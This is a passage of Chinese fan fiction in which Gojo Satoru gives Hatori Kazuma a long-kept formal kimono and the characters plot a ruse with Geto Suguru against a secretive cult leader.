此刻的嗅觉太过灵敏,那点潮湿的、清爽的沐浴露香气总是往他的鼻子里钻,连每一声传入耳中的心跳也变得暧昧不已。 这种被整个圈在对方怀里的视角实在太微妙,抬眼能就着月光看见一截极利落的下颚线,被鬓角与颈窝的纯白发丝勾勒着,柔软的落入他眼底。 倘若再朝下方看。 “………” 五条悟佯装不知的轻咦出声,吐字间却又带着太过明显的促狭。 “真丸的体温好像越来越烫了啊,该不会是发烧了吧?” 被问出了如此令人窘迫的问题,羽取一真却连往日试图蒙混过关的轻咳也做不到。 “啊对了,现在的一真是不是相当于……没穿衣服呢?” 五条悟明知羽取一真没办法说话,还要接着开口问对方。 每一个音节都被压低了,仿佛被舌尖含着转了一圈,才肯亲昵的、缱绻的在这柔和的黑夜里吐出。 仍旧安静着,没有得到任何回应。 但五条悟已经察觉到手掌紧贴下的那颗小心脏,扑通扑通的速度瞬间翻了好几倍。 如果再仔细一点,还能体验到细软绒毛下整个身体都在微微战栗的羞赧。 哈哈。 五条悟在心底乐不可支。 只能被他单方面随意拿捏的一真,超可爱! 羽取一真仍旧哽着没有回应,但五条悟已然彻底心满意足,闭上眼睡了。 那股静谧的、温暖的安心感,如同盖在身上的柔软被子,正在将他细密地包裹起来,在舒展的眉间落下一夜好梦的亲吻。 ……… 大清早,平时提醒上课的闹钟还没响,五条悟便彻底清醒了。 他兴致勃勃的洗漱完、换好衣服——并非高专制服,而是一件带着宽大兜帽的黑色上衣加长裤,既修身又利落,还能挡住他那头显眼的白发。 说翘课就翘课,他才没有开玩笑呢! 将同样醒来的真丸单手抱在怀里,五条悟咔嚓一下拧开门,打算抓紧时间离开高专。 黑豆柴形态是超级棒啦,但他也想和一真说话嘛。 “咦,悟?今天起得好早啊。” 在走廊上,五条悟迎面撞上了拎着早饭回来的夏油杰——后者先是和他打了个招呼,而后面露困惑,看向被五条悟抱怀里的这只小黑狗。 “你从外面捡回来的吗?还是迷路进来的?” 东京高专的占地面积极广,不仅包含那些数量繁多的佛寺与神社,还有往外延伸的大片后山与修炼场。 笼罩在高专的结界也不会防备普通的动物,他们有时也能瞥见松鼠从树林间窜过。 但品相这么好的黑豆柴……夏油杰认真打量了好几眼。 怎么看也不像是流浪狗啊。 随即,夏油杰发现了更多异常。 “你怎么穿着便服?”他诧异抬眉,“今天不是周末…吧?” 不对劲,就出任务也基本是穿高专制服才对。 “哦,”五条悟理直气壮的回道,“我决定翘课,拜托你帮我蒙混一下啦。” 夏油杰:“……” 夏油杰的眼睛瞬间睁大:“嗯??” 这能怎么蒙混,一间教室里总共就他们三人! “我总不能说你生病了吧……” 夏油杰无奈叹气——他甚至想象不出五条悟发烧感冒流鼻涕的模样。 “随便找个借口啦,夜蛾老师不会发现的。” 五条悟露出点猫猫祟祟的坏笑,冲夏油杰拍一下肩膀,再眨眼间就已经溜出去不知道多远。 看起来,这家伙竟然直接用[苍]进行了一个短距离瞬移! 没见到手势发动,他之前针对[省略掌印,直接发动术式]的研究已经成功了吗? 夏油杰有点惊愕住。 但随即,夏油杰发现自己被拜托了超级麻烦的事情——对方还立刻就跑了,连拒绝的机会都没有给他! “夜蛾老师虽然脑子里都是肌肉,但怎么可能会轻易被糊弄过去啊……” 拎着早餐的夏油杰站在原地,一时间头疼得捂住脑袋,开始绞尽脑汁思考用什么理由给悟请假。 边思考边往教室走了几步,他突然想起一件事。 他不是说昨晚一真回来了吗,人呢?也没见到两个悟出现。 慢着,该不会刚才那只小黑狗就是……! 夏油杰的瞳孔,剧烈地震。 而另一边,终于被五条悟带着离开高专的羽取一真,顺利解除了黑豆柴形态。 由于这仅是外貌模拟,而非变身,他身上的衣服仍旧完好无缺,哪部分都不存在光溜溜——让盯着羽取一真变回来的五条悟怪遗憾的。 还重重叹出口气。 羽取一真沉默打出一个问号。 在遗憾什么啊,悟…… 怎么想也不可能的吧!在光天化日之下! “好啦好啦,来聊聊你这段时间在盘星教有没有被欺负?需不需要我再去拆了另外半边?” 五条悟笑着搭上神情凌乱的羽取一真肩膀,亲昵蹭了过来——哪怕是勾肩搭背,二人间的距离也已是远超普通社交空间的亲昵。 虽然一真说那些人都听他的,但五条悟还是不太放心,觉得也有可能是那帮人敷衍他家的超呆黑豆柴。 “我有办法让他们听话。” 羽取一真想了想,将他强迫他们不停的喝热刷锅茶这件事讲给五条悟听。 包括后续的清理、转型,以及让那些大腹便便的中年人们集体下地种菜养鸡之类的,都慢慢描述出来。 这条郊外的林荫道十分偏僻,又正值清晨,路上除了他们在并肩散步外,没有其他路人。 “………哈哈哈哈!” 而此刻,原本微风轻拂,树影随之微微摇曳的寂静道路上,传来一连串清亮的笑声。 五条悟没想到羽取一真还能这么对付那帮和他对着干的人,简直太合他的口味了! 羽取一真不能提游戏的事情,五条悟以为他是靠武力逼迫盘星教领导层不得不顺从的。 ——但也没什么关系,结局都是相同的。 “反复喝烫嘴的劣质苦茶?亲自种菜养鸡?” 五条悟乐得不行,甚至发出羡慕的声音。 “好想回去对我家那些老头也这么来一遍啊。” 羽取一真在心里默默回了句他也不是没干过。 虽说因为当时在追求悟的关系,五条家的老头受苦是最少的,也就被菊花味觉和[血寄斗枪]小小威胁了一下而已。 “会有机会的。” 最后,羽取一真只这么回答道。 五条悟笑眯眯“嗯”了声,又看向羽取一真如今的打扮——和盘星教那些教众如出一辙的白袍。 “你刚才说,那个助理建议你换身特殊点的衣服?” 羽取一真也跟着他视线看了眼自己的衣服,迟疑点头。 “我本来想趁这次回高专时,把你送我的衣服都带走的。” 结果见到悟后实在太开心,把什么事情都忘了。 “那些衣服啊,都是些普通款式而已,也算不上能让你精彩亮相。” 哪怕价格再昂贵的衣服,在五条悟口中也不过是一句轻哼,根本不觉得那些能配得上羽取一真。 又走了几句,那双墨镜后的苍瞳灵巧一转,突然想起了什么来。 “走啦,我带你去挑件衣服——肯定合适你!” 第147章 五条悟这一声轻快的“走啦”, 让羽取一真误以为他们很快就能到。 但实际上,他们竟然买了新干线的车票,从东京一路坐回了京都。 车上还有粉丝认出了他们, 小声惊呼着来拜托他们给签名——五条悟爽快的大笔一挥, 又盯着羽取一真用他教的花体字签完自己的。 粉丝连连朝他们鞠躬,拿过签名本与笔转身离开时,五条悟用余光瞥见她一手捧着本子,另一只手握着那支马克笔,在二人的名字外面圈出了个巨大的爱心。 五条悟的那双苍瞳微微一眯,立刻充满了赞许的神色, 甚至微微点了点头。 不错,很有品味! 羽取一真茫然眨了下黑瞳, 偏头望着忽然又变得格外开心, 甚至在跟着某种节奏小幅度摇晃脑袋的悟。 ……? ——而当他们走出车站后, 五条悟拦下一辆出租车, 报出一串地址。 等羽取一真回想起那是哪里,不禁露出点哑然的表情。 “回五条家?”他小声问五条悟, “我这个身份,回去不要紧吗?” 五条悟笑着偏过脑袋看他,“怕啦?” 羽取一真眨了下黑瞳,“我是担心五条家的那些长老们要不要紧。” 一见面就会被吓到腿发软的人又不是他。 何况羽取一真如今可是诅咒师, 是被通缉的红名恶人——用经典反派的台词来说, 就是“看到我的人都得死”。 而他可是真的会动手。 听羽取一真用如此一本正经的语气搞反转,五条悟顿时就笑出声了, 没忍住手指一戳他面颊——手感真好,再多戳几下。 “没事,这个地址是五条家附近, 不是五条家啦。” 羽取一真乖乖坐着,被五条悟戳着戳着就上瘾了,甚至动起手来揉搓。 这手法熟练得很,是昨晚揉搓真丸练出来的标准架势。 羽取一真:“………” 看着越揉越来劲的开心小悟,羽取一真决定以后还是少用黑豆柴拟态为好。 等车停稳在目的地,五条悟似乎变得更雀跃,带着羽取一真相当熟练的拐了几个弯,来到地址附近的一栋建筑门口。 这是相当传统的一户建,略显老旧的木制二层楼房,围墙圈起了一个不大的庭院。 “千香婆婆——婆婆在吗——” 五条悟按着门铃,边提高声音喊道。 这种房子的缺点是隔音较差,五条悟在门口喊,里面立刻就传来了回应。 “来了,是悟少爷吗?” 千香婆婆过来打开门,上下打量站在她面前的五条悟,笑起的每一条皱纹间都透出亲切的和蔼与慈祥。 “不要叫我悟少爷啦,听着超别扭。” 五条悟朝她吐了点舌尖,表示自己超不爱听这个称呼——但他的表情并没有显得不耐或者反感,更接近于晚辈的懒洋洋撒娇。 “又长高了点啊,好事,是好事。” 她笑呵呵侧开身,让羽取一真和五条悟快些进来,“还是第一次带朋友过来呢,真是难得。” “以后也只会带这个朋友过来见你啦,他叫一真,羽取一真。” 五条悟拉着羽取一真的手,相当熟练的教他怎么在玄关脱鞋进来。 虽然是住了很多年的房子,但整体环境宽敞整洁,每一样家居都被擦得仔细,木地板也有做认真保养,一看是清楚对方是相当热爱生活的人。 “她是村上千香婆婆,五条家的御用和服大师哦。” 在茶几前坐下的五条悟跟羽取一真介绍。 “担不上大师哦。” 去厨房泡茶的千香婆婆依旧耳聪目明,闻言便笑着接了一句——连后半句的口吻都模仿得惟妙惟肖。 羽取一真有点想笑。 没想到千香婆婆已是两鬓斑白的年纪,却是这么活泼的性格。 “我说是就是,”五条悟冲她做了个鬼脸,才继续对羽取一真解释,“我小时候在五条家穿的那些和服,有一部分就是她给我做的。当然,那时候的我肯定没见过她,尺寸都是仆人报给她听的。” 身为悬赏金额过亿的[六眼],没觉醒术式前的他被精心呵护,觉醒以后的他又忙碌于各种针对性的精英与继承人教育,以及任务经验积累之中。 只是一位做和服手艺比较好的师傅,是见不到他的。 转折来到五条悟十来岁的时候。 他已经觉醒了[无下限]术式,族内安排的教育课程也基本学了个遍,连任务都出过好几趟。 厌烦了无止境干涉他想法的长老们,五条悟无师自通了偷溜大法。 “无师自通?”羽取一真问道。 “应该是无师自通吧……”五条悟捏着下巴思索,“童年的事情有点记不清了,反正就是从某一天开始,我变得很喜欢跑到外面玩。” 说是玩也不确切,他好像大部分时间都在街上乱逛,然后面无表情的回五条家,被那帮长老训斥一顿也照溜不误。 也就是在其中一次,他返回五条家的途中,遇见了被咒灵缠上的千香婆婆。 祓除咒灵是很简单的事情,但除去[帐]以外,那些普通人未必能看得懂他在做什么,不会得到任何感谢。 当然,五条悟也不是为了感谢才决定这么做的。 他做事向来率性而为,在不久前经历[天元同化]任务且险死还生之后,更是彻底明悟且坚定了真正的[本心]。 就在五条悟打算这样若无其事离开时,千香婆婆说什么都要感谢他,邀请他回家做客。 也是那时,五条悟才发觉千香婆婆好像清楚咒灵的存在。 仔细一问才得知她常年与五条家合作的编外人员之一,负责制作族人的和服。 “她当时还请我吃了草莓大福哦。” 五条悟笑着和羽取一真咬耳朵,偷偷竖起三根手指。 “奶油又香又甜,超美味。我当时没忍住,连吃了三个。” 羽取一真脑补了下小小悟当时坐在这张茶几前,鼓着腮帮努力嚼草莓大福,苍瞳闪闪发亮的景象,唇边同样泛起笑意。 “这次也要三个吗?” 没想到千香婆婆已经返回客厅了,端过来的茶盘上除了色泽浓郁的清甜抹茶,便是四个又胖又鼓的草莓大福。 是手工制作的豪华奶油馅大福,五条悟立刻响亮应了一声。 “要!” 千香婆婆笑着将一个端给羽取一真,另外三个都给五条悟。 “所以啊,悟少爷这次来找我有什么事?前两年听人说你非要跑去高专上学,把长老们气得要命。” “是啦是啦,我确实把他们都快气坏啦。” 五条悟一叉子戳在草莓大福上,啊呜就是满满一大口,“但这不也让他们更精神了些吗?讲话都变得中气十足的。” 虽然只有在训斥他的时候中气十足。 去年被一真教训了顿后,又亲切得让他浑身起鸡皮疙瘩。 千香婆婆都没忍住笑意,“是是是。” “我这次来,”五条悟咽下一大口奶油馅,幸福眯起眼,“是想问婆婆要那件和服的。” “那件?” 千香婆婆在最初几秒没反应过来,随即有些讶然,“你确定要给一真穿吗?” 五条悟点头,“很合适吧?” 听到这句肯定的话,千香婆婆认真打量起坐在他身边的羽取一真。 把羽取一真都看紧张了,下意识放下正在尝试切割草莓大福的叉子,双手放在腿上,脊背挺直。 “身高确实挺合适,”千香婆婆笑了,“他就是你要找的[那个人]吗?” 羽取一真疑惑看向五条悟。 “大概是吧?” 五条悟撑着脑袋,姿态相当放松。 “放着也是放着,还容易放坏。现在或许正是时候。” 这两句对话让羽取一真听得有些愣神,但五条悟不需要给他解释。 当千香婆婆取出那套保养极好的崭新和服时,羽取一真甚至以为自己看错了。 那是一身极庄重的黑底纹付羽织袴,剪裁利落,拥有宽大且精致的袖口,靠里侧清楚印出了一个浑圆家纹。 并非五条家的藤纹,而是更接近一种鬼神精怪中的鸟类,是一种令人眼熟的,展翅垂首时的姿态定格。 ——更确切地描述,是羽取一真在上周目穿过的家主服饰。 自从悟生日时的那块蒙布朗之后,这是他第二次错愕到近乎说不出话。 “如何,相当不错吧?” 五条悟对着这身晾开在木架上的纹付羽织袴满意端详片刻,示意羽取一真来穿上试试。 “是……很早就做出来了吗?” 羽取一真慢慢开口。 他很确信悟自上高专、与他初次见面开始,绝大多数的时间都与他待在一起。 哪怕为了做任务或其他事情分开,也始终保持着手机交流。 悟应该没有时间为他准备这样的惊喜——遑论听千香婆婆话里的意思,这身和服是为[某个人]准备的。 “是哦,” 千香婆婆笑着抚过面前这身连褶皱都一丝不苟的纹付羽织袴,陷入回忆。 “大概是与总是偷溜出来的悟少爷熟悉起来之后的事情了。他好奇我制作和服的流程,我便带他一样一样介绍过去。” “看他很感兴趣后,我就问了一句有没有喜欢的款式与纹样,工作间里还有几件样衣,他可以随意挑选。” “结果啊,悟少爷指着其中一身纹付羽织袴,问我有没有纯黑色的,家纹也不要用五条家的那种。” “虽然很惊讶,我还是答应下来了,想着破例给他做一次幼童版本也不错。但接着,悟少爷又说要成年人的尺寸。” 五条悟听到这里,嘟囔着吐槽一句“原来你还想做迷你版的给我啊”。 真是的,他那个时候都更喜欢穿普通的卫衣和短裤了,怎么看也不会想穿这种衣服的嘛。 “虽然已经在我这里存放很多年,但还是等来了送出去的那天呢。” 千香婆婆眉眼间都露出愉快的笑意,对羽取一真说道。 “这是悟少爷相当珍惜,特别叮嘱我要好好收起来,等着他认为合适的人来穿的和服。所以哦,希望你也能好好珍惜,一真。” “是。” 羽取一真起身的动作还趔趄了下,才略显僵硬地接过那套和服——但他的语气相当郑重而坚决。 【用心制作的服饰,能增加您的气质与魅力。】 在系统中,它甚至弹出了介绍框,与一周目的有微妙不同。 但在羽取一真心中,这一切都变成了次要。 他更想问——莫非在他点击开始二周目之前,这款游戏便已在运行中,而非仅是被一串单薄的数据所定义的[人设背景]吗? 悟……到底等了他多久? 第148章 羽取一真不知道。 他甚至突然搞不清这个游戏到底是不是游戏了。 如此真实, 如此令人……怅然。 话说回来,他购买到这份游戏的唯一原因,也不过是在放学时路过那家开了许久的音像店, 却被那张贴在橱窗上的宣传海报吸引住视线。 那是一张并不算显眼的海报, 以偏昏暗的光影与色彩为底,勾勒出数个并不算美型的人物设计,以散落的人字型排开。 底下则用最普通的默认字体写了几行宣传语,密密麻麻的挤在一起,不走近些压根辨认不清楚。 这是一张太过经典的海报构图,连文字排版都没有任何技巧。 然而, 羽取一真仍旧为那一抹纯白停驻了脚步。 说不清什么原因,他走进了那家不常光顾的音像店。 与偏好美少女游戏的御子柴不同, 他更喜欢玩冒险或动作类游戏, 且更热衷于网购。 羽取一真向来不喜欢与他人进行过多交流——用御子柴的话来说, 是个闷骚的社恐。 但他知道自己并不是什么社恐, 只是单纯对社交不感兴趣。 只是,那日的羽取一真确实走进了音像店, 并出声询问那位在整理货架的店员。 他的身高中等,体型偏瘦削,散发着某种温和而内敛的清秀感,连带那头略长的黑发也并不显得突兀。 在听说羽取一真是来询问那款游戏时, 他很明显愣了一下, 才回答说[有,请稍等片刻]。 甚至, 连价格都出乎意料的便宜。 这便是羽取一真为何会进入这款[划时代虚拟]游戏的始末。 倘若此刻再重新思考,蹊跷的地方实在太多。 譬如……他似乎从未在网络上见过这款游戏的宣传与讨论。 但此时此刻,羽取一真没有空再继续细想。 他捧着那套和服向千香婆婆道谢, 而后再望向五条悟时,那双黑瞳深处所盛满的情绪仿若指尖一捧水银流泻,在淡蓝月光下泛出粼粼光泽的柔和与动容。 五条悟与他对视良久,嘴角一弯,露出的坏坏笑意却似揶揄似真心。 “这身和服可不便宜哦,”五条悟笑眯眯道,“让我想想啊,你觉得需要付出多少代价才能得到它呢?” 羽取一真顿时有点紧张起来,“多少钱?” 哪怕悟说要几百万,他也会毫不犹豫掏出来的。 不够可以先欠着。 “啊决定了,这个归我——” 五条悟却是打出个响指,伸手将羽取一真面前那盘草莓大福端走——让后者刚提起来的心,被这不按常理出牌的后续给硬生生卡在了半空,不上不下。 羽取一真看着这个被他用叉子戳破到奶油馅已经漏出来的草莓大福被挪到悟的面前,脱口而出一声“欸?”。 五条悟:“怎么啦,不肯给?” 羽取一真盯着那四个摆在他面前的胖滚滚草莓大福,直接占满了小半个桌面。 千香婆婆在旁边端着茶杯慢慢品,望向这二人的眼底尽是高兴的笑意。 羽取一真的哑然并没有持续很长时间——他几乎无法克制地露出些愉快的、情不自禁的柔和笑意来,朝人慢慢摇头。 “我是担心你吃不完。需要先赊账吗?” 五条悟冲他做了个鬼脸,回应里还透着亿点点不服气。 “小看我?” ……… “……嗝。” 深夜道别,五条悟返回高专时,捂嘴打出的饱嗝里还带着那股草莓奶油馅的甜香。 这时间的高专早就已经下课了,坐在走廊长椅上的夏油杰穿着短袖衬衫,盯着这个把棘手麻烦甩给他,自己一溜烟就跑走的家伙边揉着肚子边回来。 “跟一真出去吃得很满足嘛。” 他扯动嘴角,不咸不淡呵呵笑了两声,“留我被夜蛾老师疯狂质问。” 天晓得他当时冷汗都快流下来了! 就算是肌肉笨蛋,夜蛾老师也是特别难糊弄的那种肌肉笨蛋啊! 五条悟眨巴眼,“应付过去了吗?” “好不容易,”夏油杰干巴巴道,“但我觉得夜蛾老师应该也反应过来了,所以才没继续追问的。” 毕竟,在给他们发布星浆体任务时,夜蛾老师就不算赞同抹杀天内理子的做法了。 连带对于因阻止天元同化而离开的羽取一真,也并不觉得反感。 五条悟笑眯眯冲他比出一个拇指,“周末请你跟硝子吃最新款的限定冰淇淋!” 夏油杰:“……我看是你自己想吃吧。” 五条悟:“哎呀,我是那种人吗?我是那种为了冰淇淋买二送一,就带你和硝子一起去凑个数的人吗?” 夏油杰:“…………” 他很无语地叹出口气,倒也没拒绝。 夏天快到了,天气一天比一天热,开始浮躁的人心连带令咒灵也变得活跃起来,大家能凑个周末一起出门吃冰淇淋也不错。 “好了,既然你已经按时回来,我也不继续等在这里了。” 夏油杰起身时,顺带拢了把没有扎起的散发,随口叮嘱声五条悟。 “你记得早点休息。” 五条悟点了下同样泛起困的脑袋,忽然喊住他。 “一真让我给你转达点事。” 好险好险,和一真在一起玩得太开心,险些把他交代的话忘记了。 夏油杰的脚步顿了下,好奇侧过身来看五条悟。 “什么?” “他是这么对我说的,” 五条悟想了想,对着夏油杰逐字逐句开口,声音也刻意压低了些,模仿起羽取一真那偏冷淡的语调。 “[盘星教内早就有人盯上你了,做任务时千万要留心]。” 夏油杰这次是真的愣住了。 “盯上我?”他迷茫道,“可我从来没有接触过这个宗教。” 而且这个“早”字用的……是比[天元同化]事件前还要早吗? “不知道哦,一真说再具体的也没办法透露了。” 五条悟背起双手,神情是放松心态下惯常的灵动,几乎能令人联想到一只眼瞳又大又蓝的漂亮猫咪。 “他已经掌控了盘星教,却还会这么说——指代的人是谁,想必杰也一清二楚了吧?” 夏油杰揉了揉额角,仍旧有点困惑自己有什么地方值得敌人盯上。 要他的性命吗?可他是没有任何背景与资源的非术师,有什么好觊觎的。 不过,悟此刻的问题,他确实也能答得上来。 “……那位教祖吧,”夏油杰不紧不慢道,“我后来也姑且查过些资料。一真是盘星教的圣子,连回去的他都没办法解决的盘星教人员,除了地位比他更高存的教祖,几乎不必再做多想。” “Bingo——” 五条悟先是庆祝他们二人想法一致,接着朝夏油杰的位置靠过来了些,压低声音。 “一真说要你留心任务,我倒觉得,你可以假装顺其自然。” 夏油杰“嗯?”了声。 即使抛开[六眼]与[无下限]这类与生俱来的天赋,五条悟的头脑同样极灵活,且很有自己的想法。 他能依靠武力而不在乎一切针对他的阴谋——好比幼时的悬赏——但并不等于,他在面对阴谋时会束手无策。 “我回头会和一真说,但现在想问你的意见。” 在这条仅有幽暗月色的宿舍长廊内,五条悟向夏油杰秘密商量起未来的谋划。 “既然早就盯上你,却没有在你刚进入高专、实力并不强大时动手,就意味着对方不是想要你的性命。” ——说到这里,五条悟用拇指点点自己,以亲身经历作为案例。 “像我,一出生就被挂超过一亿的高额悬赏了。这才是真正想要我命的表现。” 这话语听起来莫名还有点骄傲,让夏油杰有点无语。 “既然不想要我的性命,又说盯上我了,”夏油杰凝重道,“那对方是想做什么?” “不清楚,但我认为这肯定是绝对不能被透露的关键。” 五条悟的苍瞳微微转动,“我在回来的路上查过资料,盘星教的存在历史很长,教祖却从来都没有露过面。” “没有姓名、没有照片、没有影像。甚至没人知道那个人是男是女。按照一真的形容,他也从未见过对方的真面目,只能从处理过的声音中判断那人用的是女性句式。” “因此,他没办法杀掉那个教祖。” 脱离平时更常展现的活泼与随性,此刻的五条悟极聪慧,话语间直指问题重心。 “你想想,[她]上次安排给一真的任务,是阻止天元同化。狡诈到从来都不露面的咒术界敌人,阻止完天元同化后,难道就没有下一步动作了吗?[她]可是为了计划达成,特意提前一年就将一真安插进高专里当学生。” “夜蛾老师之前推测盘星教是由于在崇拜天元大人的千年里逐渐走向极端,才变成拼尽全力阻止天元同化的,毕竟天元同化并不是第一次,盘星教以前都毫无动静——但我不这么认为。” 五条悟竖起食指,提出一个更震撼夏油杰的观点。 “如果,敌人就是为了阻止天元同化,才创建的盘星教呢?” 夏油杰睁大眼睛:“什么?你的意思是……” “你想想看,盘星教是非术师为了感激天元大人的功绩才创立的。”五条悟说,“但又是谁告诉了非术师,天元所做的一切?” “那可是通讯极其不发达的古代哦,大家都成天埋头种地,信仰的也都是些乱七八糟的鬼神。” 听到一半的夏油杰默默吐槽:“乱七八糟……” “我怀疑[教祖]的背后可能是一个诅咒师团体,在千年间不断进行传承——而且非常狡猾且谨慎。” 五条悟拍着夏油杰的肩膀,声线压得更低,更郑重。 “虽然不知道对方的目标,但根据一真的描述,能够明确的一点是[早就盯上你了]。” “如果是想借任务杀了你,你就反抗,不让对方得逞。” “但倘若是看中你的能力,想要招揽你……” “不如你就顺其自然,假装被骗——或许,这样能摸清对方的真正身份。” 第149章 羽取一真穿着那身纹付羽织袴回到盘星教时, 将酒见绫子小小吓了一跳。 她从未见过对方如此肃穆的庄重打扮,如一座伫立在夜色里的冷峻险峰——孤傲、冷漠,十足凛然。 换句话说, 酒见绫子发现自己竟然觉得这身装束仿佛是为羽取一真量身定做的那般, 搭配那身偏冷酷的沉稳与早熟,简直浑然天成。 几乎叫她忘记这位有着幽深黑瞳的少年,尚且未满十八岁。 或许是她提到需要换一身更衬托圣子气质的衣服,羽取一真才特意去购置的…? 酒见绫子在心底偷偷想道。 但她没来得及向羽取一真求证——后者并没有理会酒见绫子的诧异,直接回到自己的寝室。 羽取一真转告给悟的话,既是提醒, 亦为试探。 而直至此刻,他的手机已经在口袋里振动许久了。 身为自千年前发家的本土宗教, 盘星教的外观被建设成再奇特、再新潮的模样, 内部的装修依旧与传统的日式装修并没有任何区别。 作为需要遵循一些莫名教条来营造所谓“虔诚信仰”的仪式感的宗教而言, 这间圣子寝殿内挂有许多半透明的纱织帷幕, 在数盏烛火拉长的光影交织下,透出一种朦胧的暖黄光晕。 羽取一真赤脚踩着榻榻米, 先端起其中一盏灯烛,耐心沿着这间寝殿走了几圈,一样接一样地拿起又放回,依靠游戏的物品说明来检查摆放在这里的东西。 只要给出的评价是【平平无奇的xxx】, 就不必需要警惕。 他还特意敲了敲脚下的软垫, 又花费许多时间,沿着缝隙慢慢摸索了一遍。 想了想, 又举高灯盏,连头顶的天花板和横梁也没放过。 其仔细程度堪比在解谜游戏里找不到线索时,用鼠标挨个点击过每一处场景的所有物品与角落。 直至彻底确定那个[教祖]没有动用符纸、咒纹或者式神之类的手段窃听他, 羽取一真才拨回电话。 “如何?” 他小声开口问道。 “已经和杰说过了——另外,他还同意了我的计划哦。” 五条悟盘坐在床上,一手拿着电话,另一只手则抱着从羽取一真宿舍里拿回来的黑豆柴玩偶。 在接电话的过程中,他的手指无意识把玩着这只又软又大的玩偶,不时揉捏几下。 羽取一真:“计划?” 他只拜托悟帮忙提醒夏油杰当心后续的阴谋算计,并没有什么“计划”需要传达。 说起这个,骄傲小悟立刻邀功似的挺起胸膛,将他和杰商量好的打算又对羽取一真说了一遍。 羽取一真听得黑瞳微微发亮。 悟竟然跟他想到一块去了,提前帮忙说服了夏油杰配合。 但这个计划太过被动,且根据上周目的亲眼所见,[教祖]真正想要的,很有可能是(已故)的夏油杰,而非一个活蹦乱跳的夏油杰。 “不愧是悟,总是能想出这么聪明的反制手段。” 羽取一真立刻奉上真情实感的夸夸,把五条悟夸得分外飘飘然,那双苍瞳都快眯成招财猫似的两条弯弯细线。 连这句“没错我就是这么为一真着想的nice guy五条悟哦”的俏皮回应,吐字的音节间也黏连着轻快又愉悦的笑意,听起来高兴极了。 一定也可爱极了,可惜他现在看不见。 羽取一真在通话另一端,不无遗憾的想道。 不过话说回来,悟不记得上周目的事情,因此并不清楚[教祖]为什么需要夏油杰,才制订了“干脆杰顺势反过来卧底”的顺水推舟式计划。 虽说羽取一真也不知道[教祖]为什么要已故的夏油杰,但很显然,如果一直跟着敌人的步调走,他们自己这边就会陷入被动。 “我想出了个主意,或许将计划稍微改动一下。” 羽取一真这么对悟说道,成功将对方的好奇心挑起来。 “是什么?” “我们不必等阴谋到眼前了,再见招拆招——何况,其实我们也并不容易分辨到底哪个是敌人刻意安排给夏油杰的任务,哪个不是。” 主要是担心夏油杰在哪个[教祖]刻意策划的单人任务里意外身亡,让尸体顺利被对方拿到。 这种情况,他和悟都很难赶得及去营救。 羽取一真微微抿起嘴。 “如果杰同意,我们就主动一步,让夏油杰自己先……嗯,想办法逐步转变态度,而后找个契机,假装他要脱离咒术界。” 倘若夏油杰始终坚持待在高专,[教祖]也不好找机会下手吧。 不如主动将自己暴露在高风险地区,强势打乱敌人原本预计的节奏。 哪怕无法将[教祖]的真身钓出来,到时夏油杰随便往哪个国外的偏僻角落里一钻数年不现身,对方在上周目想要的[夏油杰(已故)]都能泡了汤。 这些脑海里迅速权衡完毕的念头,羽取一真没办法对悟说出口。 然而,五条悟依旧敏锐领悟到了他的想法。 “不错啊,你也很有我的风范呢,”五条悟笑眯眯夸道,“比外表看上去狡猾……不,机灵多了嘛。” 这种先对面一步、将敌人打个措手不及的作战风格,可是他相当中意的! “都是五条老师教得好。” 羽取一真习惯性配合谦虚道,用出了上个周目对他的称呼,却令五条悟骤然一怔。 “五条老师……?” ——他低喃出声,两条漂亮的浅色眉毛无意识蹙起。 “为什么我会觉得这个称呼很……熟悉?” 熟悉得他刚才几乎要误以为自己真的是老师,是一位早已对执教这件事得心应手的……麻辣教师GTG? 咦,这个单词是如此顺口的就说了出来,几乎不存在半分迟疑。 “悟?” 见悟半晌没有回应,羽取一真开口唤了他一声。 “你刚才说了什么?” 那句低喃的声音太过含糊,羽取一真并没有听清内容。 “啊没事,” 五条悟先暂时不去想那些莫名其妙浮现在心底的熟稔感,语气也恢复了一如既往的轻快。 “我会去告诉杰的,这件事就放心交给我吧!” “……” “…………” “这就是你建议我去报一个演员培训班的理由?” 听完改良计划的夏油杰难以置信,甚至还有一整个篮球场那么大的无语。 这节课的夜蛾老师出差还没回来,他们目前也没有任务,索性就当成半个自由活动课,跑来打室内篮球。 空旷的场所也正好能防止隔墙有耳。 家入硝子则对打篮球没有特别大的兴趣,趁机跑去找训练场上的庵歌姬玩了。 “演员培训班怎么了,你看不起演员培训班吗?”五条悟眨了眨苍瞳,“你不就因为演技太烂,才在之前的[天内理子扮演竞选]中败给我的嘛。” 在当时回程的飞机上,他们可是讨论了很久到底由谁来模拟成天内理子呢。 夏油杰:“……” 夏油杰硬邦邦开口:“我那时也没很想去和你争这个。” “略——你就是演技不行啦,竟然连离别戏码都演不了,天内都吐槽你像条刚被捞上岸的鱼。” 五条悟冲他做鬼脸。 “……那是两码事!” 夏油杰拳头也跟着硬了,反唇相讥。 “你就不觉得你当时表演得太用力了吗?顶着黑井外貌的小理子被你差点一下就扑得摔倒在地,接着又蹭脑袋又呜呜哇哇的超大声干嚎,险些把工作人员都招惹过来!” “那才更能证明我的演技好吧!把工作人员都骗过去了!” “小理子当时可是很明显的超无语表情!” “她那是在努力扮演成熟又可靠的黑井!” “黑井平时怎么会是那种连话都不知道该怎么说的表情!” “永别时伤心到说不出话不是很正常吗!” ——两个人边在半场互相争夺那个被弹来抛去的篮球,边进行了一场漫长的小学生吵架,直吵到两个人都气喘吁吁的停下来平复呼吸为止。 五条悟一只手撑着膝盖,另一只手朝他摆了摆,“总之你要是同意这个计划,可绝对不能搞砸了。” 现在的他们还有情报优势,一旦被敌人察觉到不对劲,那可真的会功亏一篑。 “我大概明白你和一真的想法,”夏油杰同样喘息着点头,“我会思考下怎么转变才最合理。” 五条悟提醒:“还得让那个[教祖]知道你转变了。” “鉴于一真说高层也有人协助,”夏油杰沉吟片刻,“之前是不是有谁提过,等暑假开学之后,我们会举行东京校与京都校的姐妹校交流会?可以先试着从那里开始。” 在那上面闹起来的事故,最容易散播出去了。 “哦——你的脑子也不赖嘛。” 五条悟竖起大拇指,却换来对方的犹豫一瞥——那个表情看起来不像是针对这句夸奖的,更类似于某种好奇心驱使的探究欲。 仿佛在说:严肃的计划商议完毕,现在开始是轻松愉快的八卦时间。 “嗯?” 五条悟困惑挑起单边眉梢。 夏油杰迟疑了下,还是没忍住内心好奇的偷偷问他。 “话说,你之后还打算跟一真碰面吗,就,一直用那种方式?” 他隐晦做出个哄小狗狗过来的常用手势,用以指代[一真拟态成黑豆柴,然后偷溜进高专]的行为。 